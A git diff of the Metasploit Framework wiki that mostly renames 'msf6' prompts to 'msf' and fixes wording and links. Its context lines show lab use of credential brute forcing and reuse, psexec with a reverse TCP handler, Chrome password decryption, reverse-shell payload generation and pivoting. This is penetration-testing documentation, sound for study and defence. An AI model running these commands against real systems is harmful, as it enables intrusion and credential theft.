192.168.123.13:88 - Received a valid TGT-Response diff --git a/docs/metasploit-framework.wiki/Metasploit-Guide-MSSQL.md b/docs/metasploit-framework.wiki/Metasploit-Guide-MSSQL.md index b47e41b9b7c06..1e42f05276828 100644 --- a/docs/metasploit-framework.wiki/Metasploit-Guide-MSSQL.md +++ b/docs/metasploit-framework.wiki/Metasploit-Guide-MSSQL.md @@ -11,13 +11,13 @@ MSSQL is frequently found on port on the following ports: For a full list of MSSQL modules run the `search` command within msfconsole: ```msf -msf6 > search mssql +msf > search mssql ``` Or to search for modules that work with a specific session type: ```msf -msf6 > search session_type:mssql +msf > search session_type:mssql ``` ### Lab Environment @@ -61,7 +61,7 @@ on a successful login: Which you can interact with using `sessions -i ` or `sessions -i -1` to interact with the most recently opened session. ```msf -msf6 auxiliary(scanner/mssql/mssql_login) > sessions +msf auxiliary(scanner/mssql/mssql_login) > sessions Active sessions =============== @@ -70,7 +70,7 @@ Active sessions -- ---- ---- ----------- ---------- 1 mssql MSSQL test @ 192.168.2.242:1433 192.168.2.1:60963 -> 192.168.23.242:1433 (192.168.2.242) -msf6 auxiliary(scanner/mssql/mssql_login) > sessions -i 1 +msf auxiliary(scanner/mssql/mssql_login) > sessions -i 1 [*] Starting interaction with 1... mssql @ 192.168.2.242:1433 (master) > query 'select @@version;' @@ -146,7 +146,7 @@ This session also works with the following modules: To interact directly with the session as if in a SQL prompt, you can use the `query` command. ```msf -msf6 auxiliary(scanner/mssql/mssql_login) > sessions -i -1 +msf auxiliary(scanner/mssql/mssql_login) > sessions -i -1 [*] Starting interaction with 2... mssql @ 192.168.2.242:1433 (master) > query -h @@ -224,8 +224,8 @@ Details on the Kerberos specific option names are documented in [[Kerberos Servi Connect to a Microsoft SQL Server instance and run a query: ```msf -msf6 > use auxiliary/admin/mssql/mssql_sql -msf6 auxiliary(admin/mssql/mssql_sql) > run 192.168.123.13 domaincontrollerrhost=192.168.123.13 username=administrator password=p4$$w0rd mssql::auth=kerberos mssql::rhostname=dc3.demo.local mssqldomain=demo.local sql='select auth_scheme from sys.dm_exec_connections where session_id=@@spid' +msf > use auxiliary/admin/mssql/mssql_sql +msf auxiliary(admin/mssql/mssql_sql) > run 192.168.123.13 domaincontrollerrhost=192.168.123.13 username=administrator password=p4$$w0rd mssql::auth=kerberos mssql::rhostname=dc3.demo.local mssqldomain=demo.local sql='select auth_scheme from sys.dm_exec_connections where session_id=@@spid' [*] Reloading module... [*] Running module against 192.168.123.13 diff --git a/docs/metasploit-framework.wiki/Metasploit-Guide-MySQL.md b/docs/metasploit-framework.wiki/Metasploit-Guide-MySQL.md index 8958e9e8661c5..06fc41f03d166 100644 --- a/docs/metasploit-framework.wiki/Metasploit-Guide-MySQL.md +++ b/docs/metasploit-framework.wiki/Metasploit-Guide-MySQL.md @@ -14,13 +14,13 @@ Metasploit has support for multiple MySQL modules, including: There are more modules than listed here, for the full list of modules run the `search` command within msfconsole: ```msf -msf6 > search mysql +msf > search mysql ``` Or to search for modules that work with a specific session type: ```msf -msf6 > search session_type:mysql +msf > search session_type:mysql ``` ### Lab Environment @@ -49,7 +49,7 @@ use auxiliary/scanner/mysql/mysql_login run 'mysql://root: a b c p4$$w0rd@127.0.0.1' ``` -Re-using MySQL credentials in a subnet: +Reusing MySQL credentials in a subnet: ``` use auxiliary/scanner/mysql/mysql_login @@ -92,15 +92,15 @@ for the MySQL client you're connecting to. The run command with CreateSession set to true should give you an interactive session: ```msf -msf6 > use scanner/mysql/mysql_login -msf6 auxiliary(scanner/mysql/mysql_login) > run rhost=127.0.0.1 rport=4306 username=root password=password createsession=true +msf > use scanner/mysql/mysql_login +msf auxiliary(scanner/mysql/mysql_login) > run rhost=127.0.0.1 rport=4306 username=root password=password createsession=true [+] 127.0.0.1:4306 - 127.0.0.1:4306 - Found remote MySQL version 11.2.2 [+] 127.0.0.1:4306 - 127.0.0.1:4306 - Success: 'root:password' [*] MySQL session 1 opened (127.0.0.1:53241 -> 127.0.0.1:4306) at 2024-03-12 12:40:46 -0500 [*] 127.0.0.1:4306 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/mysql/mysql_login) > sessions -i -1 +msf auxiliary(scanner/mysql/mysql_login) > sessions -i -1 [*] Starting interaction with 1... mysql @ 127.0.0.1:4306 > @@ -110,7 +110,7 @@ You can interact with your new session using `sessions -i -1` or `sessions sessions +msf auxiliary(scanner/mysql/mysql_login) > sessions Active sessions =============== @@ -120,7 +120,7 @@ Active sessions 2 mssql MSSQL test @ 192.168.2.242:1433 192.168.2.1:61428 -> 192.168.2.242:1433 (192.168.2.242) 3 mysql MySQL root @ 127.0.0.1:4306 127.0.0.1:61450 -> 127.0.0.1:4306 (127.0.0.1) -msf6 auxiliary(scanner/mysql/mysql_login) > sessions -i 3 +msf auxiliary(scanner/mysql/mysql_login) > sessions -i 3 [*] Starting interaction with 3... ``` diff --git a/docs/metasploit-framework.wiki/Metasploit-Guide-Post-Gather-Modules.md b/docs/metasploit-framework.wiki/Metasploit-Guide-Post-Gather-Modules.md index 2faa4a31b85de..5e91bd9d6ad11 100644 --- a/docs/metasploit-framework.wiki/Metasploit-Guide-Post-Gather-Modules.md +++ b/docs/metasploit-framework.wiki/Metasploit-Guide-Post-Gather-Modules.md @@ -7,7 +7,7 @@ Metasploit post modules replace old Meterpreter scripts, which are no longer mai You can search for post gather modules within msfconsole: ```msf -msf6 > search type:post platform:windows name:gather +msf > search type:post platform:windows name:gather Matching Modules ================ @@ -26,8 +26,8 @@ There are two ways to launch a Post module, both require an existing session. Within a msf prompt you can use the `use` command followed by the `run` command to execute the module against the required session. For instance to extract credentials from Chrome on the most recently opened Metasploit session: ```msf -msf6 > use post/windows/gather/enum_chrome -msf6 post(windows/gather/enum_chrome) > run session=-1 verbose=true +msf > use post/windows/gather/enum_chrome +msf post(windows/gather/enum_chrome) > run session=-1 verbose=true [*] Impersonating token: 7192 [*] Running as user 'DESKTOP-N3MAG5R\basic_user'... @@ -44,13 +44,13 @@ msf6 post(windows/gather/enum_chrome) > run session=-1 verbose=true [+] Decrypted data: url:https://www.example.com/ my_username:my_password_123 [+] Decrypted data saved in: /Users/user/.msf4/loot/20220422122129_default_192.168.123.151_chrome.decrypted_981698.txt [*] Post module execution completed -msf6 post(windows/gather/enum_chrome) > +msf post(windows/gather/enum_chrome) > ``` Or within a Meterpreter prompt use the `run` command, which will automatically set the module's session value: ```msf -msf6 > sessions --interact -1 +msf > sessions --interact -1 [*] Starting interaction with 5... meterpreter > run post/windows/gather/enum_applications diff --git a/docs/metasploit-framework.wiki/Metasploit-Guide-PostgreSQL.md b/docs/metasploit-framework.wiki/Metasploit-Guide-PostgreSQL.md index 32b8e583e3174..ddb98d761450a 100644 --- a/docs/metasploit-framework.wiki/Metasploit-Guide-PostgreSQL.md +++ b/docs/metasploit-framework.wiki/Metasploit-Guide-PostgreSQL.md @@ -14,13 +14,13 @@ Metasploit has support for multiple PostgreSQL modules, including: There are more modules than listed here, for the full list of modules run the `search` command within msfconsole: ```msf -msf6 > search postgres +msf > search postgres ``` Or to search for modules that work with a specific session type: ```msf -msf6 > search session_type:postgres +msf > search session_type:postgres ``` @@ -51,7 +51,7 @@ use auxiliary/scanner/postgres/postgres_login run 'postgres://root: a b c p4$$w0rd@127.0.0.1' ``` -Re-using PostgreSQL credentials in a subnet: +Reusing PostgreSQL credentials in a subnet: ``` use auxiliary/scanner/postgres/postgres_login @@ -95,7 +95,7 @@ set to true should give you an interactive session. For example: ```msf -msf6 auxiliary(scanner/postgres/postgres_login) > run rhost=127.0.0.1 rport=5432 username=postgres password=password database=template1 createsession=true +msf auxiliary(scanner/postgres/postgres_login) > run rhost=127.0.0.1 rport=5432 username=postgres password=password database=template1 createsession=true ``` Should yield: @@ -111,7 +111,7 @@ You can interact with your session using `sessions -i -1` or `sessions sessions +msf auxiliary(scanner/postgres/postgres_login) > sessions Active sessions =============== @@ -120,7 +120,7 @@ Active sessions -- ---- ---- ----------- ---------- 1 postgresql PostgreSQL postgres @ 127.0.0.1:5432 127.0.0.1:61324 -> 127.0.0.1:5432 (127.0.0.1) -msf6 auxiliary(scanner/postgres/postgres_login) > sessions -i 1 +msf auxiliary(scanner/postgres/postgres_login) > sessions -i 1 [*] Starting interaction with 1... ``` @@ -257,7 +257,7 @@ psql postgres://postgres:mysecretpassword@localhost:5432 Metasploit's output will be: ```msf -msf6 auxiliary(server/capture/postgresql) > +msf auxiliary(server/capture/postgresql) > [*] Started service listener on 0.0.0.0:5432 [*] Server started. [+] PostgreSQL LOGIN 127.0.0.1:60406 postgres / mysecretpassword / postgres diff --git a/docs/metasploit-framework.wiki/Metasploit-Guide-SMB.md b/docs/metasploit-framework.wiki/Metasploit-Guide-SMB.md index 9b49aa940076b..0e5aa7d20c0d1 100644 --- a/docs/metasploit-framework.wiki/Metasploit-Guide-SMB.md +++ b/docs/metasploit-framework.wiki/Metasploit-Guide-SMB.md @@ -24,13 +24,13 @@ Metasploit has support for multiple SMB modules, including: There are more modules than listed here, for the full list of modules run the `search` command within msfconsole: ```msf -msf6 > search smb +msf > search smb ``` Or to search for modules that work with a specific session type: ```msf -msf6 > search session_type:smb +msf > search session_type:smb ``` ### Lab Environment @@ -75,7 +75,7 @@ When using the smb_login module, the CreateSession option can be used to obtain session within the smb instance. Running with the following options: ```msf -msf6 auxiliary(scanner/smb/smb_login) > run CreateSession=true RHOSTS=172.14.2.164 RPORT=445 SMBDomain=windomain.local SMBPass=password SMBUser=username +msf auxiliary(scanner/smb/smb_login) > run CreateSession=true RHOSTS=172.14.2.164 RPORT=445 SMBDomain=windomain.local SMBPass=password SMBUser=username ``` Should give you output similar to @@ -86,14 +86,14 @@ Should give you output similar to [*] SMB session 1 opened (172.16.158.1:62793 -> 172.14.2.164:445) at 2024-03-12 17:03:09 +0000 [*] 172.14.2.164:445 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/smb/smb_login) > sessions -i -1 +msf auxiliary(scanner/smb/smb_login) > sessions -i -1 [*] Starting interaction with 1... ``` Which you can interact with using `sessions -i ` or `sessions -i -1` to interact with the most recently opened session. ```msf -msf6 auxiliary(scanner/smb/smb_login) > sessions -i -1 +msf auxiliary(scanner/smb/smb_login) > sessions -i -1 [*] Starting interaction with 1... SMB (172.14.2.164) > shares @@ -315,8 +315,8 @@ Details on the Kerberos specific option names are documented in [[Kerberos Servi Running psexec against a host: ```msf -msf6 > use exploit/windows/smb/psexec -msf6 exploit(windows/smb/psexec) > run rhost=192.168.123.13 username=Administrator password=p4$$w0rd smb::auth=kerberos domaincontrollerrhost=192.168.123.13 smb::rhostname=dc3.demo.local domain=demo.local +msf > use exploit/windows/smb/psexec +msf exploit(windows/smb/psexec) > run rhost=192.168.123.13 username=Administrator password=p4$$w0rd smb::auth=kerberos domaincontrollerrhost=192.168.123.13 smb::rhostname=dc3.demo.local domain=demo.local [*] Started reverse TCP handler on 192.168.123.1:4444 [*] 192.168.123.13:445 - Connecting to the server... diff --git a/docs/metasploit-framework.wiki/Metasploit-Guide-SSH.md b/docs/metasploit-framework.wiki/Metasploit-Guide-SSH.md index 9e3d9cc930764..3fda43cdb517f 100644 --- a/docs/metasploit-framework.wiki/Metasploit-Guide-SSH.md +++ b/docs/metasploit-framework.wiki/Metasploit-Guide-SSH.md @@ -12,7 +12,7 @@ Metasploit has support for multiple SSH modules, including: There are more modules than listed here, for the full list of modules run the `search` command within msfconsole: ```msf -msf6 > search ssh +msf > search ssh ``` ### Lab Environment @@ -61,8 +61,8 @@ docker run --rm -it --publish 127.0.0.1:2222:22 ssh_lab:latest It should now be possible to test the SSH login from msfconsole: ```msf -msf6 > use scanner/ssh/ssh_login -msf6 auxiliary(scanner/ssh/ssh_login) > run ssh://test_user:password123@127.0.0.1:2222 +msf > use scanner/ssh/ssh_login +msf auxiliary(scanner/ssh/ssh_login) > run ssh://test_user:password123@127.0.0.1:2222 [*] 127.0.0.1:2222 - Starting bruteforce [+] 127.0.0.1:2222 - Success: 'test_user:password123' 'uid=700(test_user) gid=700(test_user) groups=700(test_user),700(test_user) Linux 5a26fe63abef 5.10.25-linuxkit #1 SMP Tue Mar 23 09:27:39 UTC 2021 x86_64 Linux ' @@ -115,7 +115,7 @@ use scanner/ssh/ssh_login run ssh://user:pass@172.18.102.20 ``` -Re-using SSH credentials in a subnet: +Reusing SSH credentials in a subnet: ``` use scanner/ssh/ssh_login diff --git a/docs/metasploit-framework.wiki/Metasploit-Guide-Setting-Module-Options.md b/docs/metasploit-framework.wiki/Metasploit-Guide-Setting-Module-Options.md index a5c52f6526dc0..f016038c82df5 100644 --- a/docs/metasploit-framework.wiki/Metasploit-Guide-Setting-Module-Options.md +++ b/docs/metasploit-framework.wiki/Metasploit-Guide-Setting-Module-Options.md @@ -3,7 +3,7 @@ Each Metasploit module has a set of options which must be set before running. These can be seen with the `show options` or `options` command: ```msf -msf6 exploit(windows/smb/ms17_010_eternalblue) > options +msf exploit(windows/smb/ms17_010_eternalblue) > options Module options (exploit/windows/smb/ms17_010_eternalblue): @@ -36,7 +36,7 @@ Exploit target: Each Metasploit module also has _advanced_ options, which can often be useful for fine-tuning modules, in particular setting connection timeouts values can be useful: ```msf -msf6 exploit(windows/smb/ms17_010_eternalblue) > advanced +msf exploit(windows/smb/ms17_010_eternalblue) > advanced Module advanced options (exploit/windows/smb/ms17_010_eternalblue): @@ -61,7 +61,7 @@ Payload advanced options (windows/x64/meterpreter/reverse_tcp): You can see which options stilloptions to be set with the `show missing` command: ```msf -msf6 exploit(windows/smb/ms17_010_eternalblue) > show missing +msf exploit(windows/smb/ms17_010_eternalblue) > show missing Module options (exploit/windows/smb/ms17_010_eternalblue): @@ -124,6 +124,8 @@ The following protocols are currently supported, and described in more detail be - file - Load a series of RHOST values separated by newlines from a file. This file can also include URI strings - http - https +- ldap +- ldaps - mysql - postgres - smb diff --git a/docs/metasploit-framework.wiki/Metasploit-Guide-WinRM.md b/docs/metasploit-framework.wiki/Metasploit-Guide-WinRM.md index 53c32b7397215..0eca747b8479e 100644 --- a/docs/metasploit-framework.wiki/Metasploit-Guide-WinRM.md +++ b/docs/metasploit-framework.wiki/Metasploit-Guide-WinRM.md @@ -41,7 +41,7 @@ Metasploit has support for multiple WinRM modules, including: There are more modules than listed here, for the full list of modules run the `search` command within msfconsole: ```msf -msf6 > search winrm +msf > search winrm ``` ### Lab Environment @@ -70,7 +70,7 @@ run https://192.168.123.139:5986 Example: ```msf -msf6 auxiliary(scanner/winrm/winrm_auth_methods) > run http://192.168.123.139:5985 +msf auxiliary(scanner/winrm/winrm_auth_methods) > run http://192.168.123.139:5985 [+] 192.168.123.139:5985: Negotiate protocol supported [+] 192.168.123.139:5985: Kerberos protocol supported @@ -123,14 +123,14 @@ run http://user:pass@192.168.123.139:5985 Example: ```msf -msf6 auxiliary(scanner/winrm/winrm_login) > run http://user:pass@192.168.123.139:5985 +msf auxiliary(scanner/winrm/winrm_login) > run http://user:pass@192.168.123.139:5985 [!] No active DB -- Credential data will not be saved! [+] 192.168.123.139:5985 - Login Successful: WORKSTATION\user:pass [*] Command shell session 7 opened (192.168.123.1:58673 -> 192.168.123.139:5985 ) at 2022-04-23 02:36:34 +0100 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/winrm/winrm_login) > sessions -i -1 +msf auxiliary(scanner/winrm/winrm_login) > sessions -i -1 [*] Starting interaction with 7... Microsoft Windows [Version 10.0.14393] @@ -146,8 +146,8 @@ Details on the Kerberos specific option names are documented in [[Kerberos Servi Open a WinRM session: ```msf -msf6 > use auxiliary/scanner/winrm/winrm_login -msf6 auxiliary(scanner/winrm/winrm_login) > run rhost=192.168.123.13 username=Administrator password=p4$$w0rd winrm::auth=kerberos domaincontrollerrhost=192.168.123.13 winrm::rhostname=dc3.demo.local domain=demo.local +msf > use auxiliary/scanner/winrm/winrm_login +msf auxiliary(scanner/winrm/winrm_login) > run rhost=192.168.123.13 username=Administrator password=p4$$w0rd winrm::auth=kerberos domaincontrollerrhost=192.168.123.13 winrm::rhostname=dc3.demo.local domain=demo.local [+] 192.168.123.13:88 - Received a valid TGT-Response [*] 192.168.123.13:5985 - TGT MIT Credential Cache ticket saved to /Users/user/.msf4/loot/20230118120604_default_192.168.123.13_mit.kerberos.cca_451736.bin @@ -159,7 +159,7 @@ msf6 auxiliary(scanner/winrm/winrm_login) > run rhost=192.168.123.13 username=Ad [*] Command shell session 1 opened (192.168.123.1:50722 -> 192.168.123.13:5985) at 2023-01-18 12:06:05 +0000 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/winrm/winrm_login) > sessions -i -1 +msf auxiliary(scanner/winrm/winrm_login) > sessions -i -1 [*] Starting interaction with 1... Microsoft Windows [Version 10.0.14393] diff --git a/docs/metasploit-framework.wiki/Metasploit-URL-support-proposal.md b/docs/metasploit-framework.wiki/Metasploit-URL-support-proposal.md index 5db713e0f8d59..3b65ce6f3553d 100644 --- a/docs/metasploit-framework.wiki/Metasploit-URL-support-proposal.md +++ b/docs/metasploit-framework.wiki/Metasploit-URL-support-proposal.md @@ -61,7 +61,7 @@ When the user views the options for a given module, it will be consolidated. The Multiple options are available for configuring the module options: ```msf -msf5 exploit(multi/http/tomcat_mgr_upload) > options +msf exploit(multi/http/tomcat_mgr_upload) > options Module options (exploit/multi/http/tomcat_mgr_upload): @@ -88,7 +88,7 @@ Exploit target: Multiple options are consolidated into a single TARGETS field: ```msf -msf5 exploit(multi/http/tomcat_mgr_upload) > options +msf exploit(multi/http/tomcat_mgr_upload) > options Module options (exploit/multi/http/tomcat_mgr_upload): diff --git a/docs/metasploit-framework.wiki/Meterpreter-Configuration.md b/docs/metasploit-framework.wiki/Meterpreter-Configuration.md index 46d42f36ae399..3622577c5fd30 100644 --- a/docs/metasploit-framework.wiki/Meterpreter-Configuration.md +++ b/docs/metasploit-framework.wiki/Meterpreter-Configuration.md @@ -118,9 +118,9 @@ The values that are common to both `HTTP(S)` and `TCP` transports are: * `tcp://:` - indicates that this payload is a _bind_ payload listening on the specified port (note that no host is specified). * `http://:/` - indicates that this payload is an HTTP connection (can only be _reverse_). * `https://:/` - indicates that this payload is an HTTPS connection (can only be _reverse_). -* **Communications expiry** - This value is another 32-bit DWORD value that represents the number of seconds to wait between successful packet/receive calls. For more information, please read the **Timeout documentation** (link coming soon). -* **Retry total** - This value is 32-bit DWORD value that represents the number of seconds that Meterpreter should continue to attempt to reconnect on this transport before giving up. For more information, please read the **Timeout documentation** (link coming soon). -* **Retry wait** - This value is 32-bit DWORD value that represents the number of seconds between each attempt that Meterpreter makes to reconnect on this transport. For more information, please read the **Timeout documentation** (link coming soon). +* **Communications expiry** - This value is another 32-bit DWORD value that represents the number of seconds to wait between successful packet/receive calls. For more information, please read the [[Timeout Control|./Meterpreter-Timeout-Control.md]] documentation. +* **Retry total** - This value is 32-bit DWORD value that represents the number of seconds that Meterpreter should continue to attempt to reconnect on this transport before giving up. For more information, please read the [[Timeout Control|./Meterpreter-Timeout-Control.md]] documentation. +* **Retry wait** - This value is 32-bit DWORD value that represents the number of seconds between each attempt that Meterpreter makes to reconnect on this transport. For more information, please read the [[Timeout Control|./Meterpreter-Timeout-Control.md]] documentation. The layout of this block in memory looks like the following: @@ -159,8 +159,8 @@ At this time, there are no `TCP`-specific configuration values, as the common co * `http://:` in the case of `HTTP` proxies. * `socks=:` in the case of `socks` proxies. * **Proxy user name** - Some proxies require authentication. In such cases, this value contains the username that should be used to authenticate with the given proxy. This field is `64` characters in size (`wchar_t`). -* Proxy password - This value will accompany the user name field in the case where proxy authentication is required. It contains the password used to authenticate with the proxy and is also `64` characters in size (`wchar_t`). -*** User agent string** - Customisable user agent string. This changes the user agent that is used when `HTTP/S` requests are made to Metasploit. This field is `256` characters in size (`wchar_t`). +* **Proxy password** - This value will accompany the user name field in the case where proxy authentication is required. It contains the password used to authenticate with the proxy and is also `64` characters in size (`wchar_t`). +* **User agent string** - Customisable user agent string. This changes the user agent that is used when `HTTP/S` requests are made to Metasploit. This field is `256` characters in size (`wchar_t`). * **Expected SSL certificate hash** - Meterpreter has the capability of validating the SSL certificate that Metasploit presents when using `HTTPS`. This value contains the `20`-byte SHA1 hash of the expected certificate. For more information, please read the **SSL certificate validation documentation** (link coming soon). All values that are shown above need to be specified in the configuration, including SSL certificate validation for plain `HTTP` connections. Values that are not used should be zeroed out. @@ -207,7 +207,7 @@ As already mentioned, more than one of these transport configuration blocks can ### Extension configuration block -The extension configuration block is designed to allow Meterpreter payloads to contain any extra extensions that the user wants to bundle in. The goal is to provide the ability to have **Stageless payloads** (link coming soon), and to provide the means for sharing of extensions during migration (though this hasn't been implemented yet). Each of the extensions must have been compiled with [Reflective DLL Injection](https://github.com/rapid7/ReflectiveDLLInjection/) support, as this is the mechanism that is used to load the extensions when Meterpreter starts. For more information on this facility, please see the **Stageless payloads** (link coming soon) documentation. +The extension configuration block is designed to allow Meterpreter payloads to contain any extra extensions that the user wants to bundle in. The goal is to provide the ability to have [[Stageless payloads|./Meterpreter-Stageless-Mode.md]], and to provide the means for sharing of extensions during migration (though this hasn't been implemented yet). Each of the extensions must have been compiled with [Reflective DLL Injection](https://github.com/rapid7/ReflectiveDLLInjection/) support, as this is the mechanism that is used to load the extensions when Meterpreter starts. For more information on this facility, please see the [[Stageless payloads|./Meterpreter-Stageless-Mode.md]] documentation. The extension configuration block also functions as a "list" to allow for an arbitrary number of extensions to be included. Each extension entry needs to contain: diff --git a/docs/metasploit-framework.wiki/Meterpreter-Debugging-Meterpreter-Sessions.md b/docs/metasploit-framework.wiki/Meterpreter-Debugging-Meterpreter-Sessions.md index e1097c2c181a9..16be0cc65ff39 100644 --- a/docs/metasploit-framework.wiki/Meterpreter-Debugging-Meterpreter-Sessions.md +++ b/docs/metasploit-framework.wiki/Meterpreter-Debugging-Meterpreter-Sessions.md @@ -8,7 +8,7 @@ There are currently two main ways to debug Meterpreter sessions: This can be enabled for any Meterpreter session, and does not require a debug Metasploit build: ```msf -msf6 > setg SessionTlvLogging true +msf > setg SessionTlvLogging true SessionTlvLogging => true ``` diff --git a/docs/metasploit-framework.wiki/Meterpreter-Reg-Command.md b/docs/metasploit-framework.wiki/Meterpreter-Reg-Command.md index 9652ca04d4157..ea6a3f0d2821a 100644 --- a/docs/metasploit-framework.wiki/Meterpreter-Reg-Command.md +++ b/docs/metasploit-framework.wiki/Meterpreter-Reg-Command.md @@ -62,7 +62,7 @@ The result of your registry queries can be impacted if you are interacting with You can see the type of session you currently have open with the `sessions` command: ```msf -msf6 exploit(windows/smb/psexec) > sessions +msf exploit(windows/smb/psexec) > sessions Active sessions =============== diff --git a/docs/metasploit-framework.wiki/Meterpreter-Wishlist.md b/docs/metasploit-framework.wiki/Meterpreter-Wishlist.md index 96058a3b64d4a..2e13e2db7bd6b 100644 --- a/docs/metasploit-framework.wiki/Meterpreter-Wishlist.md +++ b/docs/metasploit-framework.wiki/Meterpreter-Wishlist.md @@ -71,7 +71,7 @@ Related open tickets (slightly broader than Meterpreter): * Change desktop/phone background * Remote mouse control * Play sound on the remote system - * Read words outloud via text to speech on the remote system + * Read words out loud via text to speech on the remote system * Volume control * RSS feed from reverse_http(s) mult-handler that I can connect a RSS reader to (or something like IFTTT) and get notices when new sessions are created * MessageBox popups diff --git a/docs/metasploit-framework.wiki/Modules.md b/docs/metasploit-framework.wiki/Modules.md index d3f8f291c9b29..b5692885f4bbe 100644 --- a/docs/metasploit-framework.wiki/Modules.md +++ b/docs/metasploit-framework.wiki/Modules.md @@ -46,18 +46,18 @@ execute code such as adding user accounts, or executing a simple pingback comman Payload modules can also be used individually to generate standalone executables, or shellcode for use within exploits: ```msf -msf6 payload(linux/x86/shell_reverse_tcp) > back -msf6 > use payload/linux/x86/shell_reverse_tcp -msf6 payload(linux/x86/shell_reverse_tcp) > set lhost 127.0.0.1 +msf payload(linux/x86/shell_reverse_tcp) > back +msf > use payload/linux/x86/shell_reverse_tcp +msf payload(linux/x86/shell_reverse_tcp) > set lhost 127.0.0.1 lhost => 127.0.0.1 -msf6 payload(linux/x86/shell_reverse_tcp) > set lport 4444 +msf payload(linux/x86/shell_reverse_tcp) > set lport 4444 lport => 4444 # Generate a payload for use within C -msf6 payload(linux/x86/shell_reverse_tcp) > generate -f c +msf payload(linux/x86/shell_reverse_tcp) > generate -f c # Generate an ELF file for execution on Linux environments -msf6 payload(linux/x86/shell_reverse_tcp) > generate -f elf -o linux_shell +msf payload(linux/x86/shell_reverse_tcp) > generate -f elf -o linux_shell ``` ### Post modules ({{ site.metasploit_module_counts["post"] }}) diff --git a/docs/metasploit-framework.wiki/Pivoting-in-Metasploit.md b/docs/metasploit-framework.wiki/Pivoting-in-Metasploit.md index af76c68177f2c..a7f953afb3112 100644 --- a/docs/metasploit-framework.wiki/Pivoting-in-Metasploit.md +++ b/docs/metasploit-framework.wiki/Pivoting-in-Metasploit.md @@ -36,8 +36,8 @@ One of the easiest ways to do this is to use the `post/multi/manage/autoroute` m ```msf meterpreter > background [*] Backgrounding session 1... -msf6 exploit(multi/handler) > use post/multi/manage/autoroute -msf6 post(multi/manage/autoroute) > show options +msf exploit(multi/handler) > use post/multi/manage/autoroute +msf post(multi/manage/autoroute) > show options Module options (post/multi/manage/autoroute): @@ -49,13 +49,13 @@ Module options (post/multi/manage/autoroute): SESSION yes The session to run this module on SUBNET no Subnet (IPv4, for example, 10.10.10.0) -msf6 post(multi/manage/autoroute) > set SESSION 1 +msf post(multi/manage/autoroute) > set SESSION 1 SESSION => 1 -msf6 post(multi/manage/autoroute) > set SUBNET 169.254.0.0 +msf post(multi/manage/autoroute) > set SUBNET 169.254.0.0 SUBNET => 169.254.0.0 -msf6 post(multi/manage/autoroute) > set NETMASK /16 +msf post(multi/manage/autoroute) > set NETMASK /16 NETMASK => /16 -msf6 post(multi/manage/autoroute) > show options +msf post(multi/manage/autoroute) > show options Module options (post/multi/manage/autoroute): @@ -67,7 +67,7 @@ Module options (post/multi/manage/autoroute): SESSION 1 yes The session to run this module on SUBNET 169.254.0.0 no Subnet (IPv4, for example, 10.10.10.0) -msf6 post(multi/manage/autoroute) > run +msf post(multi/manage/autoroute) > run [!] SESSION may not be compatible with this module: [!] * incompatible session platform: windows @@ -76,12 +76,12 @@ msf6 post(multi/manage/autoroute) > run [+] Route added to subnet 169.254.0.0/255.255.0.0 from host's routing table. [+] Route added to subnet 172.19.176.0/255.255.240.0 from host's routing table. [*] Post module execution completed -msf6 post(multi/manage/autoroute) > +msf post(multi/manage/autoroute) > ``` If we now use Meterpreter's `route` command we can see that we have two route table entries within Metasploit's routing table, that are tied to Session 1, aka the session on the Windows 11 machine. This means anytime we want to contact a machine within one of the networks specified, we will go through Session 1 and use that to connect to the targets. ```msf -msf6 post(multi/manage/autoroute) > route +msf post(multi/manage/autoroute) > route IPv4 Active Routing Table ========================= @@ -92,16 +92,16 @@ IPv4 Active Routing Table 172.19.176.0 255.255.240.0 Session 1 [*] There are currently no IPv6 routes defined. -msf6 post(multi/manage/autoroute) > +msf post(multi/manage/autoroute) > ``` All right so that's one way, but what if we wanted to do this manually? First off to flush all routes from the routing table, we will do `route flush` followed by `route` to double check we have successfully removed the entries. ```msf -msf6 post(multi/manage/autoroute) > route flush -msf6 post(multi/manage/autoroute) > route +msf post(multi/manage/autoroute) > route flush +msf post(multi/manage/autoroute) > route [*] There are currently no routes defined. -msf6 post(multi/manage/autoroute) > +msf post(multi/manage/autoroute) > ``` Now lets trying doing the same thing manually. @@ -109,13 +109,13 @@ Now lets trying doing the same thing manually. Here we can use `route add ` to add the routes from within Metasploit, followed by `route print` to then print all the routes that Metasploit knows about. Note that the Gateway parameter is either an IP address to use as the gateway or as is more commonly the case, the session ID of an existing session to use to pivot the traffic through. ```msf -msf6 post(multi/manage/autoroute) > route add 169.254.0.0 255.255.0.0 1 +msf post(multi/manage/autoroute) > route add 169.254.0.0 255.255.0.0 1 [*] Route added -msf6 post(multi/manage/autoroute) > route add 172.19.176.0 255.255.240 1 +msf post(multi/manage/autoroute) > route add 172.19.176.0 255.255.240 1 [-] Invalid gateway -msf6 post(multi/manage/autoroute) > route add 172.19.176.0 255.255.240.0 1 +msf post(multi/manage/autoroute) > route add 172.19.176.0 255.255.240.0 1 [*] Route added -msf6 post(multi/manage/autoroute) > route print +msf post(multi/manage/autoroute) > route print IPv4 Active Routing Table ========================= @@ -126,15 +126,15 @@ IPv4 Active Routing Table 172.19.176.0 255.255.240.0 Session 1 [*] There are currently no IPv6 routes defined. -msf6 post(multi/manage/autoroute) > +msf post(multi/manage/autoroute) > ``` Finally we can check that the route will use session 1 by using `route get 169.254.204.110` ```msf -msf6 post(multi/manage/autoroute) > route get 169.254.204.110 +msf post(multi/manage/autoroute) > route get 169.254.204.110 169.254.204.110 routes through: Session 1 -msf6 post(multi/manage/autoroute) > +msf post(multi/manage/autoroute) > ``` If we want to then remove a specific route (such as in this case we want to remove the 172.19.176.0/20 route since we don't need that for this test), we can issue the `route del` or `route remove` commands with the syntax `route remove ` @@ -142,9 +142,9 @@ If we want to then remove a specific route (such as in this case we want to remo Example: ```msf -msf6 post(multi/manage/autoroute) > route remove 172.19.176.0/20 1 +msf post(multi/manage/autoroute) > route remove 172.19.176.0/20 1 [*] Route removed -msf6 post(multi/manage/autoroute) > route +msf post(multi/manage/autoroute) > route IPv4 Active Routing Table ========================= @@ -154,14 +154,14 @@ IPv4 Active Routing Table 169.254.0.0 255.255.0.0 Session 1 [*] There are currently no IPv6 routes defined. -msf6 post(multi/manage/autoroute) > +msf post(multi/manage/autoroute) > ``` ## Using 